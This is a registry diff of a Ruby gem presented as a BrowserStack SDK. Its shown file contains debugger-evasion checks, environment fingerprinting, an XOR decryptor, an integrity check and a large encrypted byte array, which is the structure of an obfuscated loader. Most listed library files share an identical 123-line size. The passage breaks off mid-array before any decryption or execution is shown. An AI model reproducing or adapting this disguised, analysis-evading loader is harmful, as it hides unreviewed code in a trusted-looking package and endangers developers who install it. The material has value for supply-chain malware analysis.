browserstack-ruby-sdk 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +7 -0
- data/LICENSE.txt +52 -0
- data/README.md +115 -0
- data/STYLE_GUIDE.md +43 -0
- data/exe/browserstack-sdk +8 -0
- data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
- data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
- data/lib/browserstack/browserstack_logger_factory.rb +123 -0
- data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
- data/lib/browserstack/child_initializer.rb +123 -0
- data/lib/browserstack/cli/browserstack_cli.rb +123 -0
- data/lib/browserstack/cli/grpc_client.rb +123 -0
- data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
- data/lib/browserstack/command_executor.rb +123 -0
- data/lib/browserstack/config/browserstack_config.rb +123 -0
- data/lib/browserstack/constants.rb +123 -0
- data/lib/browserstack/eventbus/event.rb +123 -0
- data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
- data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
- data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
- data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
- data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
- data/lib/browserstack/instance/test_framework_instance.rb +123 -0
- data/lib/browserstack/instance/tracked_context.rb +123 -0
- data/lib/browserstack/instance/tracked_instance.rb +123 -0
- data/lib/browserstack/modules/base_module.rb +123 -0
- data/lib/browserstack/modules/web_driver_module.rb +123 -0
- data/lib/browserstack/monitor/performance.rb +123 -0
- data/lib/browserstack/monitor/performance_annotator.rb +123 -0
- data/lib/browserstack/monitor/performance_constants.rb +123 -0
- data/lib/browserstack/monitor/performance_test.rb +123 -0
- data/lib/browserstack/monitor/sdk_integration.rb +123 -0
- data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
- data/lib/browserstack/patches/cucumber_patches.rb +123 -0
- data/lib/browserstack/patches/selenium_patches.rb +123 -0
- data/lib/browserstack/runner.rb +123 -0
- data/lib/browserstack/utils/api_utility_methods.rb +123 -0
- data/lib/browserstack/utils/framework_detector.rb +123 -0
- data/lib/browserstack/utils/http_calls.rb +123 -0
- data/lib/browserstack/utils/util_method.rb +123 -0
- data/lib/browserstack/version.rb +123 -0
- data/lib/browserstack_sdk.rb +123 -0
- data/proto/browserstack/sdk/v1/sdk.proto +487 -0
- data/sample/browserstack_sample.yml +298 -0
- metadata +218 -0
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_s2930d9 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_r2c0d89 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _r2c0d89) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_s267f01 = _s2930d9.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_i73cceb = ->(_raeec43, _bb1b800) do
|
|
32
|
+
_e7c3ee8 = []
|
|
33
|
+
_raeec43.each_with_index do |byte, idx|
|
|
34
|
+
_e7c3ee8 << (byte ^ _bb1b800[idx % _bb1b800.length])
|
|
35
|
+
end
|
|
36
|
+
_e7c3ee8
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_f24f633 = lambda do |_sabf198, _h544317, _p051dbf, _a157abd|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_sabf198.pack('C*'))
|
|
44
|
+
if current_hash != _a157abd
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_sabf198 = [11, 172, 1, 73, 198, 192, 185, 139, 99, 50, 43, 89, 115, 193, 244, 212, 203, 205, 135, 48, 31, 170, 249, 58, 172, 207, 45, 221, 43, 171, 73, 140, 70, 97, 87, 93, 127, 253, 140, 147, 73, 148, 6, 124, 23, 235, 202, 253, 89, 13, 88, 132, 231, 96, 86, 35, 7, 40, 52, 17, 86, 196, 164, 249, 45, 239, 75, 47, 218, 152, 202, 52, 171, 189, 29, 25, 122, 28, 181, 221, 173, 7, 92, 122, 159, 70, 21, 253, 209, 19, 43, 187, 68, 36, 74, 39, 107, 189, 152, 192, 137, 65, 98, 181, 27, 130, 215, 221, 95, 223, 15, 68, 43, 194, 43, 241, 56, 231, 160, 238, 160, 89, 223, 253, 110, 57, 70, 39, 64, 36, 155, 67, 150, 146, 106, 103, 220, 186, 227, 191, 172, 56, 157, 219, 35, 82, 20, 128, 209, 6, 93, 79, 126, 216, 24, 138, 99, 163, 178, 218, 84, 199, 52, 2, 183, 249, 246, 182, 163, 123, 71, 84, 68, 154, 5, 199, 175, 45, 61, 178, 171, 248, 175, 70, 156, 133, 114, 57, 56, 184, 70, 207, 7, 70, 29, 45, 231, 60, 56, 56, 184, 251, 226, 147, 89, 233, 224, 44, 110, 17, 226, 157, 14, 63, 81, 207, 241, 212, 175, 206, 22, 58, 21, 92, 40, 232, 198, 139, 108, 63, 85, 162, 107, 1, 158, 131, 184, 225, 38, 154, 10, 104, 99, 77, 77, 217, 200, 244, 1, 219, 145, 246, 58, 19, 121, 93, 15, 14, 187, 253, 19, 55, 6, 193, 48, 158, 231, 30, 95, 106, 138, 58, 105, 135, 213, 199, 140, 230, 69, 216, 156, 79, 34, 229, 139, 71, 175, 185, 93, 91, 125, 225, 28, 176, 207, 84, 43, 155, 244, 126, 103, 254, 112, 178, 46, 214, 93, 242, 159, 202, 216, 204, 129, 113, 217, 140, 4, 121, 200, 32, 2, 254, 78, 227, 41, 179, 147, 151, 202, 215, 214, 128, 214, 53, 72, 56, 249, 76, 1, 160, 193, 2, 208, 175, 28, 68, 230, 138, 171, 193, 205, 138, 77, 93, 68, 89, 80, 12, 206, 156, 24, 214, 65, 68, 250, 201, 241, 215, 22, 220, 172, 50, 129, 142, 19, 177, 13, 175, 96, 90, 193, 186, 1, 18, 160, 190, 103, 30, 141, 151, 124, 54, 123, 126, 73, 27, 163, 159, 232, 83, 52, 155, 82, 169, 219, 184, 191, 76, 48, 23, 41, 73, 61, 243, 39, 114, 249, 157, 220, 17, 223, 225, 144, 83, 24, 52, 227, 121, 190, 133, 71, 159, 105, 73, 38, 169, 65, 77, 60, 165, 198, 3, 196, 54, 83, 20, 236, 83, 247, 240, 55, 155, 253, 57, 66, 71, 110, 235, 51, 185, 121, 31, 66, 220, 180, 153, 81, 83, 182, 18, 84, 25, 189, 143, 47, 201, 136, 244, 61, 62, 66, 162, 170, 98, 27, 25, 164, 125, 51, 163, 16, 86, 78, 73, 49, 152, 51, 45, 196, 130, 30, 44, 44, 228, 16, 250, 110, 70, 241, 78, 37, 15, 123, 97, 20, 5, 9, 130, 75, 44, 131, 225, 15, 195, 88, 67, 22, 60, 200, 12, 239, 100, 180, 67, 246, 209, 171, 79, 3, 123, 239, 106, 239, 253, 149, 66, 119, 20, 60, 170, 41, 207, 121, 4, 78, 113, 101, 101, 152, 35, 127, 217, 241, 87, 89, 14, 170, 178, 212, 15, 128, 58, 239, 138, 175, 69, 254, 62, 111, 72, 26, 78, 222, 39, 188, 185, 236, 127, 249, 159, 179, 94, 34, 183, 173, 247, 186, 171, 151, 60, 224, 103, 59, 51, 35, 210, 150, 103, 178, 76, 148, 199, 74, 129, 93, 76, 5, 217, 150, 23, 119, 18, 61, 10, 230, 140, 74, 216, 75, 54, 76, 118, 150, 90, 157, 140, 113, 205, 144, 16, 165, 211, 140, 170, 14, 181, 131, 76, 143, 146, 38, 127, 145, 114, 218, 219, 154, 172, 215, 200, 102, 101, 217, 110, 192, 35, 53, 104, 207, 199, 118, 223, 76, 166, 197, 244, 206, 150, 16, 114, 24, 79, 206, 237, 170, 252, 240, 1, 182, 66, 35, 236, 132, 132, 68, 225, 180, 122, 125, 182, 108, 1, 103, 247, 255, 167, 7, 33, 67, 5, 2, 117, 0, 240, 183, 166, 153, 116, 142, 194, 14, 16, 117, 155, 112, 44, 92, 94, 172, 179, 160, 131, 220, 55, 227, 140, 77, 4, 178, 5, 241, 187, 91, 88, 119, 71, 253, 88, 15, 216, 32, 207, 166, 30, 164, 6, 147, 73, 197, 124, 60, 126, 244, 241, 122, 31, 88, 133, 199, 97, 189, 226, 201, 37, 133, 157, 0, 178, 78, 201, 16, 149, 28, 174, 142, 98, 83, 227, 156, 130, 173, 236, 89, 178, 27, 58, 162, 202, 248, 64, 76, 27, 97, 149, 65, 192, 193, 209, 225, 33, 70, 108, 36, 88, 207, 247, 53, 243, 226, 17, 217, 59, 182, 14, 144, 169, 69, 189, 109, 221, 235, 187, 163, 75, 31, 166, 199, 15, 17, 233, 156, 198, 214, 70, 189, 31, 178, 15, 144, 172, 70, 112, 89, 144, 99, 162, 137, 85, 67, 21, 29, 72, 91, 54, 119, 206, 132, 20, 128, 204, 7, 14, 133, 104, 37, 137, 46, 32, 140, 97, 225, 81, 86, 96, 162, 109, 117, 31, 41, 201, 130, 175, 48, 3, 13, 238, 26, 254, 52, 30, 164, 94, 168, 151, 171, 165, 44, 61, 83, 80, 51, 89, 232, 249, 255, 248, 120, 148, 112, 102, 141, 49, 53, 216, 32, 188, 90, 238, 41, 132, 96, 197, 0, 152, 160, 97, 89, 109, 53, 138, 136, 233, 158, 165, 69, 4, 233, 17, 19, 182, 105, 99, 228, 15, 167, 174, 156, 90, 38, 134, 14, 20, 41, 192, 16, 220, 217, 187, 151, 237, 167, 241, 67, 216, 239, 199, 139, 179, 117, 35, 109, 136, 74, 239, 6, 76, 196, 67, 171, 25, 47, 97, 128, 184, 21, 24, 204, 11, 20, 5, 144, 99, 217, 35, 113, 117, 248, 218, 12, 26, 33, 7, 130, 129, 110, 50, 238, 170, 196, 120, 173, 219, 191, 122, 90, 176, 186, 212, 253, 170, 249, 17, 33, 139, 141, 196, 151, 190, 204, 192, 125, 216, 114, 89, 26, 59, 187, 162, 223, 196, 230, 226, 235, 36, 192, 101, 35, 8, 63, 155, 203, 216, 157, 170, 222, 32, 152, 45, 248, 244, 57, 122, 153, 110, 121, 231, 52, 89, 151, 178, 180, 155, 185, 81, 68, 11, 47, 154, 173, 181, 90, 225, 34, 21, 166, 155, 94, 29, 30, 218, 141, 86, 123, 130, 225, 26, 8, 71, 34, 160, 128, 178, 48, 96, 126, 199, 192, 188, 6, 240, 185, 161, 253, 110, 191, 236, 77, 179, 236, 131, 242, 169, 163, 91, 241, 148, 20, 116, 62, 91, 168, 120, 113, 152, 59, 118, 63, 154, 74, 47, 194, 232, 102, 181, 249, 172, 192, 187, 195, 255, 7, 0, 224, 82, 27, 76, 229, 242, 56, 22, 148, 90, 80, 155, 85, 54, 214, 211, 108, 92, 26, 165, 205, 65, 131, 39, 170, 80, 21, 76, 233, 198, 181, 179, 161, 89, 88, 192, 8, 165, 230, 243, 130, 231, 218, 31, 8, 199, 43, 156, 189, 201, 124, 34, 229, 62, 152, 136, 26, 156, 198, 194, 204, 86, 102, 90, 25, 236, 24, 157, 208, 171, 96, 9, 175, 77, 106, 215, 116, 92, 159, 70, 15, 158, 135, 209, 211, 6, 163, 133, 97, 77, 50, 78, 230, 148, 81, 57, 63, 18, 205, 160, 199, 82, 117, 187, 142, 104, 133, 64, 176, 87, 228, 82, 143, 71, 167, 93, 4, 252, 253, 186, 87, 220, 218, 162, 214, 43, 179, 240, 132, 192, 31, 181, 88, 208, 2, 72, 185, 66, 156, 218, 198, 104, 167, 19, 81, 117, 209, 0, 130, 24, 157, 225, 32, 75, 117, 138, 238, 163, 70, 12, 209, 126, 13, 173, 22, 44, 104, 241, 227, 194, 31, 70, 223, 252, 234, 76, 115, 66, 208, 174, 60, 227, 81, 109, 224, 110, 194, 140, 239, 98, 185, 171, 38, 175, 53, 240, 17, 86, 205, 49, 104, 54, 117, 184, 101, 195, 119, 184, 62, 44, 24, 135, 90, 219, 44, 239, 178, 166, 191, 170, 161, 74, 213, 138, 221, 78, 251, 36, 227, 249, 92, 61, 46, 79, 117, 175, 137, 141, 52, 84, 224, 21, 27, 19, 113, 254, 146, 248, 108, 16, 37, 171, 74, 54, 183, 206, 35, 179, 71, 233, 154, 196, 116, 67, 198, 73, 24, 102, 7, 24, 59, 120, 93, 176, 253, 186, 141, 37, 49, 240, 13, 156, 26, 142, 245, 162, 48, 4, 132, 145, 203, 150, 151, 87, 37, 118, 248, 162, 114, 11, 113, 16, 100, 103, 230, 114, 185, 213, 91, 84, 246, 131, 239, 55, 224, 174, 99, 139, 31, 174, 162, 152, 204, 69, 251, 206, 202, 142, 122, 25, 96, 63, 121, 202, 120, 190, 254, 3, 192, 177, 203, 223, 88, 247, 165, 71, 151, 84, 52, 98, 240, 106, 111, 24, 99, 65, 61, 170, 143, 250, 198, 171, 22, 189, 142, 14, 36, 212, 153, 174, 191, 69, 38, 226, 247, 62, 43, 72, 112, 125, 48, 7, 53, 236, 88, 114, 139, 5, 25, 17, 40, 227, 187, 11, 28, 36, 80, 82, 92, 82, 99, 25, 106, 16, 159, 90, 165, 200, 104, 62, 14, 226, 78, 253, 9, 13, 85, 71, 215, 129, 33, 230, 159, 252, 66, 160, 151, 124, 121, 147, 109, 171, 255, 47, 43, 90, 36, 249, 125, 150, 177, 129, 226, 44, 0, 255, 113, 170, 38, 213, 243, 177, 114, 166, 144, 16, 67, 190, 82, 62, 167, 62, 215, 192, 20, 92, 47, 224, 157, 245, 10, 53, 206, 183, 167, 250, 41, 144, 164, 215, 197, 174, 133, 110, 98, 78, 68, 239, 104, 189, 3, 211, 142, 100, 154, 142, 41, 29, 115, 87, 226, 238, 68, 73, 204, 139, 49, 85, 1, 181, 194, 187, 163, 101, 105, 208, 4, 22, 194, 62, 195, 20, 116, 157, 220, 126, 179, 217, 139, 247, 238, 138, 55, 51, 80, 87, 248, 113, 125, 221, 163, 27, 220, 156, 196, 129, 101, 34, 179, 31, 55, 205, 177, 129, 163, 176, 97, 26, 188, 109, 205, 154, 193, 45, 188, 237, 45, 57, 121, 188, 161, 226, 153, 197, 88, 77, 100, 55, 148, 150, 175, 206, 152, 84, 121, 29, 175, 250, 17, 56, 63, 124, 58, 246, 226, 136, 197, 144, 34, 218, 39, 162, 126, 243, 139, 122, 13, 99, 56, 254, 159, 225, 20, 171, 204, 76, 156, 3, 59, 239, 123, 75, 117, 191, 180, 40, 90, 191, 170, 249, 165, 220, 237, 101, 100, 210, 150, 86, 225, 110, 92, 43, 196, 54, 227, 41, 118, 174, 93, 103, 215, 166, 209, 20, 167, 136, 137, 33, 130, 203, 153, 177, 192, 240, 14, 117, 173, 182, 76, 196, 192, 35, 66, 48, 62, 142, 5, 165, 126, 74, 111, 51, 154, 157, 118, 51, 215, 70, 240, 89, 143, 214, 164, 168, 65, 89, 169, 12, 169, 150, 244, 20, 229, 109, 199, 150, 120, 46, 24, 72, 254, 11, 16, 22, 117, 159, 23, 178, 105, 165, 132, 92, 245, 7, 86, 21, 240, 235, 71, 243, 171, 85, 128, 33, 128, 136, 40, 44, 26, 154, 217, 233, 211, 17, 176, 30, 193, 68, 94, 67, 39, 214, 67, 118, 121, 18, 72, 91, 179, 18, 149, 207, 79, 245, 99, 115, 0, 197, 196, 220, 46, 145, 109, 237, 194, 238, 175, 99, 150, 10, 105, 178, 27, 212, 108, 237, 33, 239, 93, 16, 243, 140, 182, 245, 151, 192, 189, 71, 203, 135, 155, 208, 41, 192, 75, 47, 25, 233, 58, 133, 151, 137, 34, 255, 37, 134, 56, 136, 241, 101, 99, 152, 210, 102, 189, 153, 246, 68, 78, 134, 176, 203, 249, 42, 184, 121, 172, 204, 186, 19, 150, 19, 200, 235, 80, 98, 237, 23, 72, 220, 246, 235, 78, 141, 129, 178, 80, 22, 214, 163, 104, 69, 242, 144, 21, 137, 93, 45, 50, 211, 6, 62, 187, 253, 228, 133, 213, 119, 15, 133, 117, 235, 192, 60, 127, 82, 57, 75, 80, 166, 225, 205, 24, 43, 82, 60, 107, 112, 148, 171, 101, 76, 69, 66, 174, 125, 76, 235, 17, 194, 31, 245, 69, 210, 26, 91, 235, 226, 17, 137, 130, 69, 241, 7, 8, 183, 12, 196, 65, 78, 224, 243, 99, 63, 34, 66, 230, 13, 37, 99, 143, 211, 187, 232, 75, 121, 244, 149, 175, 89, 122, 255, 108, 250, 134, 156, 241, 76, 137, 139, 7, 70, 65, 73, 21, 38, 77, 198, 196, 118, 157, 247, 253, 126, 181, 137, 129, 77, 218, 44, 216, 214, 45, 189, 101, 83, 70, 217, 140, 169, 122, 212, 34, 32, 19, 90, 203, 174, 147, 107, 32, 40, 20, 67, 161, 238, 242, 58, 4, 141, 222, 184, 110, 200, 248, 180, 56, 112, 139, 253, 147, 92, 147, 76, 89, 238, 151, 66, 166, 195, 228, 15, 134, 100, 58, 64, 85, 150, 143, 23, 8, 209, 43, 112, 208, 116, 70, 6, 65, 29, 121, 99, 124, 249, 75, 236, 112, 122, 47, 196, 39, 103, 234, 194, 91, 245, 51, 30, 187, 111, 176, 21, 18, 106, 2, 137, 57, 1, 136, 227, 21, 14, 37, 249, 202, 227, 0, 124, 149, 172, 244, 145, 122, 9, 123, 75, 32, 45, 109, 138, 245, 145, 75, 122, 221, 197, 124, 98, 186, 30, 79, 255, 98, 15, 14, 23, 32, 218, 159, 42, 168, 146, 216, 159, 61, 77, 182, 196, 58, 31, 198, 178, 148, 131, 117, 101, 20, 191, 186, 215, 254, 200, 75, 179, 175, 231, 144, 88, 175, 80, 155, 254, 128, 118, 241, 154, 14, 196, 191, 66, 86, 79, 196, 21, 32, 174, 210, 213, 176, 73, 109, 140, 147, 217, 7, 186, 104, 120, 72, 85, 63, 111, 47, 212, 1, 211, 191, 219, 44, 42, 43, 245, 53, 122, 229, 189, 190, 170, 5, 45, 185, 154, 141, 33, 60, 202, 106, 111, 159, 253, 157, 186, 201, 196, 29, 120, 235, 119, 49, 11, 115, 198, 197, 64, 14, 205, 241, 146, 243, 85, 26, 44, 114, 86, 77, 196, 176, 109, 78, 59, 163, 7, 26, 58, 96, 171, 179, 50, 44, 82, 241, 158, 42, 232, 91, 162, 9, 192, 78, 235, 84, 13, 144, 125, 51, 113, 127, 231, 86, 130, 198, 3, 59, 243, 135, 90, 71, 172, 96, 81, 194, 12, 78, 71, 227, 99, 54, 254, 1, 178, 157, 115, 170, 59, 92, 227, 199, 26, 198, 144, 186, 192, 225, 204, 82, 153, 140, 135, 107, 54, 232, 119, 135, 205, 125, 67, 133, 203, 185, 173, 129, 153, 217, 63, 41, 223, 244, 46, 247, 14, 20, 190, 116, 178, 240, 113, 214, 59, 136, 144, 58, 109, 143, 133, 210, 121, 160, 195, 73, 203, 66, 116, 114, 148, 15, 110, 139, 201, 123, 204, 253, 120, 1, 192, 117, 157, 235, 167, 234, 137, 20, 244, 24, 150, 235, 182, 156, 56, 230, 28, 16, 255, 33, 195, 117, 54, 210, 157, 211, 220, 21, 140, 19, 110, 177, 213, 221, 190, 104, 175, 227, 62, 196, 250, 20, 111, 161, 117, 88, 162, 28, 103, 157, 160, 117, 200, 185, 178, 66, 223, 125, 162, 16, 118, 148, 72, 129, 32, 173, 67, 162, 63, 160, 0, 158, 36, 90, 150, 30, 12, 25, 113, 238, 163, 86, 102, 23, 171, 241, 179, 57, 248, 194, 142, 233, 67, 207, 104, 227, 14, 230, 165, 102, 193, 141, 0, 38, 169, 39, 187, 191, 232, 206, 160, 96, 222, 90, 107, 210, 138, 63, 174, 237, 176, 17, 2, 121, 16, 189, 197, 12, 185, 49, 230, 239, 66, 167, 192, 161, 9, 184, 165, 14, 62, 227, 200, 25, 148, 34, 209, 14, 255, 83, 16, 145, 175, 255, 53, 154, 162, 247, 117, 61, 194, 45, 233, 128, 254, 181, 232, 11, 66, 52, 34, 178, 141, 11, 12, 180, 219, 33, 215, 45, 245, 132, 54, 28, 24, 58, 33, 65, 105, 190, 181, 184, 127, 4, 113, 63, 213, 62, 44, 113, 106, 147, 121, 159, 110, 220, 241, 161, 228, 187, 153, 11, 142, 251, 138, 70, 142, 212, 79, 172, 133, 79, 42, 76, 104, 108, 171, 142, 1, 5, 62, 134, 146, 87, 138, 159, 128, 255, 114, 146, 121, 108, 87, 221, 194, 44, 80, 84, 173, 225, 64, 73, 116, 151, 80, 137, 190, 106, 246, 120, 203, 253, 192, 246, 235, 199, 249, 8, 111, 68, 112, 80, 155, 111, 124, 170, 188, 177, 218, 55, 36, 218, 196, 13, 221, 132, 17, 145, 89, 228, 74, 125, 112, 229, 245, 122, 36, 107, 77, 236, 55, 126, 209, 130, 125, 82, 46, 158, 43, 121, 156, 95, 102, 65, 53, 191, 217, 165, 29, 7, 144, 209, 101, 188, 232, 237, 193, 35, 93, 165, 129, 175, 225, 243, 253, 59, 74, 177, 232, 58, 237, 27, 123, 8, 135, 192, 1, 74, 170, 4, 178, 224, 86, 171, 207, 212, 80, 14, 116, 153, 66, 230, 226, 224, 251, 84, 125, 136, 197, 35, 7, 78, 10, 71, 80, 46, 80, 251, 37, 50, 94, 66, 210, 54, 201, 176, 223, 109, 64, 111, 248, 179, 192, 161, 58, 72, 213, 222, 74, 183, 179, 240, 42, 85, 67, 86, 181, 99, 40, 86, 190, 230, 201, 113, 89, 115, 236, 231, 98, 104, 89, 231, 189, 84, 122, 51, 102, 229, 70, 57, 208, 153, 163, 242, 47, 231, 75, 181, 37, 114, 35, 233, 10, 148, 88, 102, 152, 15, 148, 20, 86, 26, 99, 171, 2, 109, 96, 36, 123, 233, 67, 221, 16, 38, 76, 88, 158, 159, 198, 1, 79, 131, 106, 98, 21, 194, 142, 97, 21, 1, 135, 136, 183, 170, 176, 117, 60, 63, 181, 78, 233, 116, 249, 8, 159, 74, 193, 84, 116, 134, 200, 251, 10, 57, 22, 233, 62, 91, 87, 14, 109, 174, 98, 187, 248, 56, 209, 222, 4, 71, 82, 70, 241, 218, 107, 192, 28, 112, 74, 125, 120, 61, 78, 105, 88, 121, 217, 177, 248, 160, 85, 240, 177, 48, 193, 133, 223, 223, 234, 119, 174, 240, 145, 134, 188, 122, 200, 222, 134, 13, 90, 100, 2, 45, 14, 106, 191, 26, 233, 171, 89, 61, 208, 149, 171, 24, 171, 140, 139, 74, 11, 93, 177, 180, 214, 62, 137, 25, 219, 69, 96, 76, 112, 32, 174, 195, 230, 227, 121, 159, 53, 50, 200, 5, 95, 13, 45, 39, 212, 198, 208, 155, 89, 33, 168, 73, 154, 164, 58, 198, 231, 89, 169, 73, 132, 86, 165, 184, 243, 87, 38, 36, 166, 56, 201, 190, 103, 22, 71, 155, 60, 99, 197, 180, 243, 53, 130, 16, 14, 37, 3, 78, 97, 161, 54, 121, 177, 54, 221, 20, 9, 193, 245, 5, 0, 207, 148, 101, 40, 225, 110, 187, 247, 230, 17, 232, 201, 197, 10, 128, 1, 155, 62, 47, 199, 137, 45, 146, 225, 195, 134, 220, 177, 10, 25, 109, 36, 221, 48, 189, 231, 254, 124, 196, 165, 124, 164, 101, 196, 6, 195, 76, 145, 143, 229, 164, 215, 203, 113, 53, 0, 165, 175, 65, 136, 104, 136, 140, 68, 229, 87, 126, 141, 209, 246, 36, 88, 109, 192, 80, 248, 35, 121, 53, 76, 165, 49, 230, 138, 134, 128, 173, 32, 190, 195, 142, 225, 200, 47, 65, 156, 79, 134, 45, 243, 129, 72, 62, 54, 78, 59, 128, 67, 134, 221, 178, 133, 213, 57, 101, 224, 52, 39, 228, 230, 102, 184, 232, 246, 134, 134, 253, 194, 15, 193, 104, 49, 201, 130, 147, 100, 185, 76, 61, 113, 131, 78, 65, 36, 187, 17, 174, 215, 118, 122, 229, 201, 227, 115, 6, 144, 159, 149, 132, 203, 200, 37, 223, 205, 204, 171, 68, 56, 165, 235, 145, 86, 86, 30, 161, 139, 125, 122, 138, 112, 235, 9, 118, 159, 135, 159, 13, 187, 138, 140, 226, 255, 22, 36, 149, 227, 28, 67, 74, 187, 211, 243, 189, 248, 188, 136, 209, 232, 181, 149, 65, 12, 53, 201, 1, 135, 85, 139, 39, 247, 102, 241, 82, 174, 176, 199, 197, 254, 188, 200, 245, 90, 233, 149, 243, 86, 21, 247, 137, 22, 238, 148, 130, 116, 159, 172, 98, 177, 202, 203, 38, 44, 130, 50, 213, 9, 91, 211, 98, 239, 10, 246, 11, 17, 38, 74, 60, 207, 69, 230, 223, 86, 232, 118, 249, 160, 168, 157, 174, 229, 212, 36, 235, 29, 230, 137, 72, 143, 30, 84, 229, 26, 23, 178, 4, 120, 197, 188, 232, 188, 17, 154, 86, 5, 136, 83, 17, 144, 233, 158, 22, 67, 246, 81, 121, 67, 179, 92, 139, 190, 196, 221, 82, 204, 23, 232, 165, 70, 168, 219, 172, 225, 210, 101, 123, 170, 171, 253, 208, 250, 100, 23, 115, 2, 137, 166, 79, 179, 241, 203, 174, 29, 225, 138, 130, 50, 242, 190, 91, 249, 178, 99, 178, 41, 248, 129, 35, 154, 139, 187, 205, 87, 253, 96, 2, 133, 38, 159, 140, 202, 202, 97, 218, 183, 129, 184, 141, 113, 232, 252, 54, 75, 206, 15, 153, 159, 85, 157, 149, 109, 57, 176, 19, 73, 254, 158, 2, 12, 107, 255, 74, 163, 250, 9, 161, 153, 31, 18, 177, 101, 233, 189, 127, 228, 120, 75, 193, 47, 68, 7, 165, 11, 115, 23, 204, 155, 160, 119, 254, 23, 228, 139, 64, 26, 55, 127, 177, 163, 41, 225, 100, 211, 51, 15, 134, 255, 85, 253, 157, 251, 9, 126, 101, 135, 98, 103, 51, 190, 112, 220, 163, 159, 116, 219, 214, 21, 228, 214, 110, 170, 223, 154, 129, 80, 193, 235, 197, 154, 60, 227, 139, 181, 192, 221, 212, 147, 65, 40, 208, 15, 110, 44, 24, 241, 239, 85, 212, 173, 6, 66, 199, 118, 57, 49, 78, 152, 162, 238, 61, 35, 126, 37, 180, 110, 212, 152, 37, 19, 133, 22, 22, 21, 121, 161, 173, 3, 236, 196, 149, 134, 177, 183, 66, 223, 171, 117, 15, 39, 94, 98, 155, 180, 63, 183, 49, 151, 223, 119, 253, 197, 151, 50, 166, 101, 17, 200, 183, 172, 128, 108, 214, 223, 231, 236, 57, 214, 122, 30, 55, 1, 233, 100, 175, 90, 181, 154, 117, 64, 255, 11, 142, 87, 213, 15, 69, 161, 28, 160, 137, 61, 145, 241, 133, 157, 149, 68, 15, 66, 42, 134, 58, 185, 142, 157, 17, 161, 8, 227, 252, 119, 168, 14, 82, 154, 170, 32, 87, 218, 4, 188, 248, 98, 187, 12, 201, 48, 141, 190, 88, 151, 90, 238, 37, 131, 8, 145, 170, 208, 158, 140, 173, 38, 199, 99, 36, 213, 174, 19, 221, 13, 8, 43, 156, 33, 78, 67, 195, 48, 237, 129, 100, 18, 45, 7, 136, 20, 72, 193, 100, 105, 137, 46, 148, 136, 76, 179, 3, 78, 134, 20, 12, 219, 73, 232, 213, 241, 104, 102, 186, 131, 5, 142, 6, 204, 237, 13, 204, 26, 148, 234, 104, 235, 204, 197, 136, 17, 202, 143, 239, 220, 0, 23, 156, 61, 223, 215, 122, 106, 107, 27, 243, 255, 91, 19, 52, 2, 164, 220, 209, 167, 124, 195, 82, 219, 234, 209, 40, 253, 162, 143, 95, 142, 206, 42, 82, 130, 116, 165, 88, 153, 7, 11, 33, 166, 4, 225, 25, 135, 206, 142, 223, 50, 120, 92, 98, 9, 246, 103, 221, 157, 152, 207, 86, 15, 111, 252, 127, 11, 46, 114, 195, 139, 100, 155, 139, 81, 32, 174, 242, 171, 195, 215, 167, 92, 90, 40, 27, 178, 52, 253, 222, 75, 17, 240, 225, 113, 29, 248, 44, 195, 28, 60, 213, 8, 188, 142, 9, 104, 122, 8, 246, 2, 71, 39, 149, 86, 147, 4, 14, 36, 135, 197, 1, 209, 156, 35, 99, 157, 32, 16, 161, 254, 25, 16, 2, 170, 166, 221, 35, 205, 133, 185, 202, 18, 79, 91, 77, 129, 199, 126, 163, 93, 46, 74, 218, 194, 161, 159, 8, 136, 148, 139, 109, 192, 249, 237, 65, 102, 132, 66, 64, 56, 42, 10, 80, 63, 224, 233, 139, 73, 14, 126, 246, 89, 52, 106, 106, 142, 15, 197, 216, 216, 109, 252, 179, 140, 1, 135, 191, 194, 